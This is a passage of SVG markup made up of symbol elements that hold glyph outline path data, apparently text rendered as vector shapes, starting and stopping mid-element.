4.5 -8.9375 C 3.53125 -8.9375 2.90625 -8.34375 2.625 -7.15625 Z M 2.625 -1.578125"/></symbol><symbol overflow="visible" id="n"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="o"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="p"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="q"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="r"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="t"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="u"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="w"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="R"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="Y"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="aa"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="ab"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="ac"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="ad"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="ae"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="af"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="ag"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="x"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="y"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="z"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="A"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="C"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 